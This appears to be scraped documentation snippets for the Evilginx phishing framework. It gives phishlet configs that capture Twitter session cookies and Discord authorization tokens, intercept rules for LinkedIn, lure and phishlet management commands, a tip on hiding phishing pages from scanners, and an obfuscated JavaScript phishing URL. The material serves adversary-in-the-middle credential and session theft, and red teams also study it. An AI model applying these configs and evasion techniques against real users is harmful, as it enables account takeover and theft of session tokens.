Defines tokens to be captured from cookies for the domain '.twitter.com'. Includes specific cookie keys like 'kdt', '_twitter_sess', 'twid', and 'auth_token'.

```yaml
auth_tokens:
  - domain: '.twitter.com'
    keys: ['kdt','_twitter_sess','twid','auth_token']
    type: 'cookie'
```

--------------------------------

### Phishlets Unhide Page

Source: https://help.evilginx.com/community/guides/phishlets

Makes the phishing page visible and accessible from external sources.

```bash
phishlets unhide <phishlet>

makes the phishing page available and reachable from the outside
```

--------------------------------

### Session Interception Confirmation

Source: https://help.evilginx.com/community/getting-started/quickstart

This message indicates that Evilginx has successfully intercepted credentials and authentication cookies.

```text
all authorization tokens intercepted!
```

--------------------------------

### HTTP Request Interception Configuration

Source: https://help.evilginx.com/community/phishlet-format

Defines HTTP requests to intercept and their custom responses. This allows for replacing responses to specific domain and path combinations.

```yaml
intercept:
  - {domain: 'www.linkedin.com', path: '^\/report_error$', http_status: 200, body: '{"error":0}', mime: "application/json"}
  - {domain: 'app.linkedin.com', path: '^\/api\/v1\/log\/.*', http_status: 404}
```

--------------------------------

### Capture Authorization Header Token from Discord Heartbeat

Source: https://help.evilginx.com/community/phishlet-format

Specifies capturing an 'authorization' header value as a 'token' for Discord heartbeat API requests. The `type` is set to `http` for header-based capture.

```yaml
auth_tokens:
  - domain: 'discord.com'
    path: '/api/v9/heartbeat'
    name: 'token'
    header: 'authorization'
    type: 'http'
```

--------------------------------

### Edit Lure Phishlet

Source: https://help.evilginx.com/community/guides/lures

Changes the phishlet associated with a specific lure.

```bash
lures edit <id> phishlet <phishlet>
```

--------------------------------

### Delete Lure by ID

Source: https://help.evilginx.com/community/guides/lures

Removes a lure using its unique identifier.

```bash
lures delete <id>
```

--------------------------------

### Pause a lure for a fixed duration

Source: https://help.evilginx.com/community/guides/lures

Pauses a lure, causing its URL to redirect to the unauthenticated URL for a specified period. The duration format is '1d2h3m4s'.

```bash
: lures pause 0 1d12h
```

```bash
: lures pause 0 5m
```

```bash
: lures pause 0 1m30s
```

--------------------------------

### Capture Discord Login Token from Response Body

Source: https://help.evilginx.com/community/phishlet-format

Configures token capture from the response body for Discord login requests. It uses a regular expression to extract the token value from a JSON-like string.

```yaml
auth_tokens:
  - domain: 'discord.com'
    path: '/auth/login'
    name: 'token'
    search: '"token":"([^"]*)"'
    type: 'body'
```

--------------------------------

### Unpause a Lure

Source: https://help.evilginx.com/community/guides/lures

Unpauses a specific lure identified by its index.

```bash
: lures unpause 0
```

--------------------------------

### Phishlets Override Unauthenticated URL

Source: https://help.evilginx.com/community/guides/phishlets

Allows overriding the global unauthenticated URL setting for a specific phishlet.

```bash
phishlets unauth_url <phishlet> <url>

override global unauth_url just for this phishlet
```

--------------------------------

### Unhide Phishlet

Source: https://help.evilginx.com/community/guides/phishlets

Unhide a phishlet, allowing requests to its phishing links to be processed normally.

```bash
: phishlets unhide linkedin
```

--------------------------------

### Phishlets Hide Page

Source: https://help.evilginx.com/community/guides/phishlets

Hides the phishing page, logging and redirecting all incoming requests. This is useful for avoiding detection by scanners.

```bash
phishlets hide <phishlet>

hides the phishing page, logging and redirecting all requests to it (good for avoiding scanners when sending out phishing links)
```

--------------------------------

### Delete Child Phishlet

Source: https://help.evilginx.com/community/guides/phishlets

Remove a child phishlet that is no longer needed.

```bash
phishlets delete okta:company  
```

--------------------------------

### Delete a Specific Session

Source: https://help.evilginx.com/community/guides/sessions

Remove a single recorded session by its ID. Supports ranges for deleting multiple sessions.

```bash
: sessions delete <id>
```

--------------------------------

### Disable Phishlet

Source: https://help.evilginx.com/community/guides/phishlets

Disable a phishlet to prevent client connections to its associated hostnames. This is useful for phishlets that are not currently in use.

```bash
: phishlets disable linkedin
```

--------------------------------

### Phishlets Disable

Source: https://help.evilginx.com/community/guides/phishlets

Deactivates a phishlet, making it inactive.

```bash
phishlets disable <phishlet>

disables phishlet
```

--------------------------------

### Hide Phishlet

Source: https://help.evilginx.com/community/guides/phishlets

Hide a phishlet to treat all requests to its phishing links as unauthorized connections. This can help protect links from scanners.

```bash
: phishlets hide linkedin
```

--------------------------------

### Remove Custom Unauthorized Redirect URL

Source: https://help.evilginx.com/community/guides/phishlets

Remove the custom unauthorized redirect URL for a phishlet, reverting to the global configuration.

```bash
: phishlets unauth_url linkedin ""
```

--------------------------------

### Phishing Page URL as Obfuscated JavaScript String

Source: https://help.evilginx.com/community/guides/redirectors

This JavaScript string represents a phishing page URL, obfuscated by concatenating string fragments. This method hides the actual URL within the redirector's JavaScript code.

```javascript
'ht' + 't' + 'ps:' + '//' + 'w' + 'ww' + '.l' + 'i' + 'nke' + 'd' + 'in' + '.' + 'not' + '-a-' + 'p' + 'hi' + 'sh' + '.c' + 'om' + '/' + '?e' + '=ue' + '7' + '3er'
```

--------------------------------

### Phishing Page URL as HTML String

Source: https://help.evilginx.com/community/guides/redirectors

This is how a phishing page URL is represented as a plain HTML string within a redirector. It's a direct URL that can be used in HTML attributes or JavaScript.

```html
https://www.linkedin.not-a-phish.com/?e=ue73er
```

--------------------------------

### Phishlets Delete Child

Source: https://help.evilginx.com/community/guides/phishlets

Removes a specified child phishlet.

```bash
phishlets delete <phishlet>

delete child phishlet
```
Tokens:
Raw